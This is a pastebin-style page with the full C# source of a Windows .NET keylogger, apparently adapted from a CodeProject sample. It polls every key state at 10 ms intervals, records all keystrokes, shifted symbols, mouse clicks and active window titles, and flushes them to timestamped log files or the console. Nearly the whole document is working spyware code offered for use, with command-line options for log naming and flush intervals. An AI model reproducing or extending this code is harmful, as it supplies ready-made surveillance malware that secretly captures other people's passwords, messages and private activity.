Create a new version of paste:

/* *************************************************************************** *
 *  Title: .NET Keylogger
 * Author: _DmG_
 *   Date: 5/21/2007
 *   Type: Open Source
 * 
 * This software is based off "ArticleKeyLog";
 * which can be found at www.codeproject.com.
 * Alexander Kent is the original author. I have
 * modified the source to include some more advanced
 * logging features I thought were needed.
 * 
 * Added features:
 * » Focused/Active window title logging.
 * » Accurate character detection.(His version would display only CAPS)
 * » Log file formatting.
 * » Custom args [below]
 * *************************************************************************** *
 * Usage:
 * You have several args you can pass to customize the
 * program's execution.
 * netLogger.exe -f [filename] -m [mode] -i [interval] -o [output]
 *		-f [filename](Name of the file. ".log" will always be the ext.)
 *		-m ['hour' or 'day'] saves logfile name appended by the hour or day.
 *		-i [interval] in milliseconds, flushes the buffer to either the
 *					  console or file. Shorter time = more cpu usage.
 *					  10000=10seconds : 60000=1minute : etc...
 *		-o ['file' or 'console'] Outputs all data to either a file or console.
 * *************************************************************************** *
 * ArticleKeyLog - Basic Keystroke Mining
 * Date:	05/12/2005
 * Author:	Alexander Kent
 * (www.codeproject.com)
 * *************************************************************************** */

using System;
using System.IO;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace NetKeyLogger
{	
	public class Keylogger
	{
		[DllImport("User32.dll")]
			private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
		[DllImport("User32.dll")]
			private static extern short GetAsyncKeyState(System.Int32 vKey);
		[DllImport("User32.dll")]
			public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
		[DllImport("User32.dll")]
			public static extern int GetForegroundWindow();

		private System.String keyBuffer;
		private System.Timers.Timer timerKeyMine;
		private System.Timers.Timer timerBufferFlush;
		private System.String hWndTitle;
		private System.String hWndTitlePast;
		public  System.String LOG_FILE;
		public  System.String LOG_MODE;
		public  System.String LOG_OUT;
		private bool tglAlt = false;
		private bool tglControl = false;
		private bool tglCapslock = false;

		public Keylogger()
		{
			hWndTitle = ActiveApplTitle();
			hWndTitlePast = hWndTitle;

			//
			// keyBuffer
			//
			keyBuffer = "";

			// 
			// timerKeyMine
			// 
			this.timerKeyMine = new System.Timers.Timer();
			this.timerKeyMine.Enabled = true;
			this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
			this.timerKeyMine.Interval = 10;
			
			// 
			// timerBufferFlush
			//
			this.timerBufferFlush = new System.Timers.Timer();
			this.timerBufferFlush.Enabled = true;
			this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
			this.timerBufferFlush.Interval = 1800000; // 30 minutes
		}

		public static string ActiveApplTitle()
		{
			int hwnd = GetForegroundWindow();
			StringBuilder sbTitle = new StringBuilder(1024);
			int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
			if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
			string title = sbTitle.ToString();
			return title;
		}

		private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
		{
			hWndTitle = ActiveApplTitle();

			if(hWndTitle != hWndTitlePast)
			{
				if(LOG_OUT == "file")
					keyBuffer += "[" + hWndTitle + "]";
				else
				{
					Flush2Console("[" + hWndTitle + "]", true);
					if(keyBuffer.Length > 0)
						Flush2Console(keyBuffer, false);
				}
				hWndTitlePast = hWndTitle;
			}
			
			foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
			{
				if(GetAsyncKeyState(i) == -32767)
				{
					//Console.WriteLine(i.ToString()); // Outputs the pressed key code [Debugging purposes]

					if(ControlKey)
					{
						if(!tglControl)
						{
							tglControl = true;
							keyBuffer += "<Ctrl=On>";
						}
					}
					else
					{
						if(tglControl)
						{
							tglControl = false;
							keyBuffer += "<Ctrl=Off>";
						}
					}

					if(AltKey)
					{
						if(!tglAlt)
						{
							tglAlt = true;
							keyBuffer += "<Alt=On>";
						}
					}
					else
					{
						if(tglAlt)
						{
							tglAlt = false;
							keyBuffer += "<Alt=Off>";
						}
					}

					if(CapsLock)
					{
						if(!tglCapslock)
						{
							tglCapslock = true;
							keyBuffer += "<CapsLock=On>";
						}
					}
					else
					{
						if(tglCapslock)
						{
							tglCapslock = false;
							keyBuffer += "<CapsLock=Off>";
						}
					}
					
					if(Enum.GetName(typeof(Keys), i) == "LButton")
						keyBuffer += "<LMouse>";
					else if(Enum.GetName(typeof(Keys), i) == "RButton")
						keyBuffer += "<RMouse>";
					else if(Enum.GetName(typeof(Keys), i) == "Back")
						keyBuffer += "<Backspace>";
					else if(Enum.GetName(typeof(Keys), i) == "Space")
						keyBuffer += " ";
					else if(Enum.GetName(typeof(Keys), i) == "Return")
						keyBuffer += "<Enter>";
					else if(Enum.GetName(typeof(Keys), i) == "ControlKey")
						continue;
					else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
						continue;
					else if(Enum.GetName(typeof(Keys), i) == "RControlKey")
						continue;
					else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
						continue;
					else if(Enum.GetName(typeof(Keys), i) == "ShiftKey")
						continue;
					else if(Enum.GetName(typeof(Keys), i) == "LShiftKey")
						continue;
					else if(Enum.GetName(typeof(Keys), i) == "RShiftKey")
						continue;
					else if(Enum.GetName(typeof(Keys), i) == "Delete")
						keyBuffer += "<Del>";
					else if(Enum.GetName(typeof(Keys), i) == "Insert")
						keyBuffer += "<Ins>";
					else if(Enum.GetName(typeof(Keys), i) == "Home")
						keyBuffer += "<Home>";
					else if(Enum.GetName(typeof(Keys), i) == "End")
						keyBuffer += "<End>";
					else if(Enum.GetName(typeof(Keys), i) == "Tab")
						keyBuffer += "<Tab>";
					else if(Enum.GetName(typeof(Keys), i) == "Prior")
						keyBuffer += "<Page Up>";
					else if(Enum.GetName(typeof(Keys), i) == "PageDown")
						keyBuffer += "<Page Down>";
					else if(Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
						keyBuffer += "<Win>";
					
					/* ********************************************** *
					 * Detect key based off ShiftKey Toggle
					 * ********************************************** */
					if(ShiftKey)
					{
						if(i >= 65 && i <= 122)
						{
							keyBuffer += (char)i;
						}
						else if(i.ToString() == "49")
							keyBuffer += "!";
						else if(i.ToString() == "50")
							keyBuffer += "@";
						else if(i.ToString() == "51")
							keyBuffer += "#";
						else if(i.ToString() == "52")
							keyBuffer += "$";
						else if(i.ToString() == "53")
							keyBuffer += "%";
						else if(i.ToString() == "54")
							keyBuffer += "^";
						else if(i.ToString() == "55")
							keyBuffer += "&";
						else if(i.ToString() == "56")
							keyBuffer += "*";
						else if(i.ToString() == "57")
							keyBuffer += "(";
						else if(i.ToString() == "48")
							keyBuffer += ")";
						else if(i.ToString() == "192")
							keyBuffer += "~";
						else if(i.ToString() == "189")
							keyBuffer += "_";
						else if(i.ToString() == "187")
							keyBuffer += "+";
						else if(i.ToString() == "219")
							keyBuffer += "{";
						else if(i.ToString() == "221")
							keyBuffer += "}";
						else if(i.ToString() == "220")
							keyBuffer += "|";
						else if(i.ToString() == "186")
							keyBuffer += ":";
						else if(i.ToString() == "222")
							keyBuffer += "\"";
						else if(i.ToString() == "188")
							keyBuffer += "<";
						else if(i.ToString() == "190")
							keyBuffer += ">";
						else if(i.ToString() == "191")
							keyBuffer += "?";
					}
					else
					{
						if(i >= 65 && i <= 122)
						{
							keyBuffer += (char)(i + 32);
						}
						else if(i.ToString() == "49")
							keyBuffer += "1";
						else if(i.ToString() == "50")
							keyBuffer += "2";
						else if(i.ToString() == "51")
							keyBuffer += "3";
						else if(i.ToString() == "52")
							keyBuffer += "4";
						else if(i.ToString() == "53")
							keyBuffer += "5";
						else if(i.ToString() == "54")
							keyBuffer += "6";
						else if(i.ToString() == "55")
							keyBuffer += "7";
						else if(i.ToString() == "56")
							keyBuffer += "8";
						else if(i.ToString() == "57")
							keyBuffer += "9";
						else if(i.ToString() == "48")
							keyBuffer += "0";
						else if(i.ToString() == "189")
							keyBuffer += "-";
						else if(i.ToString() == "187")
							keyBuffer += "=";
						else if(i.ToString() == "92")
							keyBuffer += "`";
						else if(i.ToString() == "219")
							keyBuffer += "[";
						else if(i.ToString() == "221")
							keyBuffer += "]";
						else if(i.ToString() == "220")
							keyBuffer += "\\";
						else if(i.ToString() == "186")
							keyBuffer += ";";
						else if(i.ToString() == "222")
							keyBuffer += "'";
						else if(i.ToString() == "188")
							keyBuffer += ",";
						else if(i.ToString() == "190")
							keyBuffer += ".";
						else if(i.ToString() == "191")
							keyBuffer += "/";
					}
				}
			}
		}

		#region toggles
		public static bool ControlKey
		{
			get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
		} // ControlKey
		public static bool ShiftKey
		{
			get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
		} // ShiftKey
		public static bool CapsLock
		{
			get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
		} // CapsLock
		public static bool AltKey
		{
			get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
		} // AltKey
		#endregion

		private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
		{
			if(LOG_OUT == "file")
			{
				if(keyBuffer.Length > 0)
					Flush2File(LOG_FILE);
			}
			else
			{
				if(keyBuffer.Length > 0)
					Flush2Console(keyBuffer, false);
			}
		}

		public void Flush2Console(string data, bool writeLine)
		{
			if(writeLine)
				Console.WriteLine(data);
			else
			{
				Console.Write(data);
				keyBuffer = ""; // reset
			}
		}

		public void Flush2File(string file)
		{
			string AmPm = "";
			try
			{
				if(LOG_MODE == "hour")
				{
					if(DateTime.Now.TimeOfDay.Hours >= 0 && DateTime.Now.TimeOfDay.Hours <= 11)
						AmPm = "AM";
					else
						AmPm = "PM";
					file += "_" + DateTime.Now.ToString("hh") + AmPm + ".log";
				}
				else
					file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + ".log";

				FileStream fil = new FileStream(file, FileMode.Append, FileAccess.Write);
				using(StreamWriter sw = new StreamWriter(fil))
				{
					sw.Write(keyBuffer);
				}

				keyBuffer = ""; // reset
			}
			catch(Exception ex)
			{
				// Uncomment this to help debug.
				// Console.WriteLine(ex.Message);
				throw;
			}
		}

		#region Properties
		public System.Boolean Enabled
		{
			get
			{
				return timerKeyMine.Enabled && timerBufferFlush.Enabled;
			}
			set
			{
				timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
			}
		}

		public System.Double FlushInterval
		{
			get
			{
				return timerBufferFlush.Interval;
			}
			set
			{
				timerBufferFlush.Interval = value;
			}
		}

		public System.Double MineInterval
		{
			get
			{
				return timerKeyMine.Interval;
			}
			set
			{
				timerKeyMine.Interval = value;
			}
		}
		#endregion

	}
}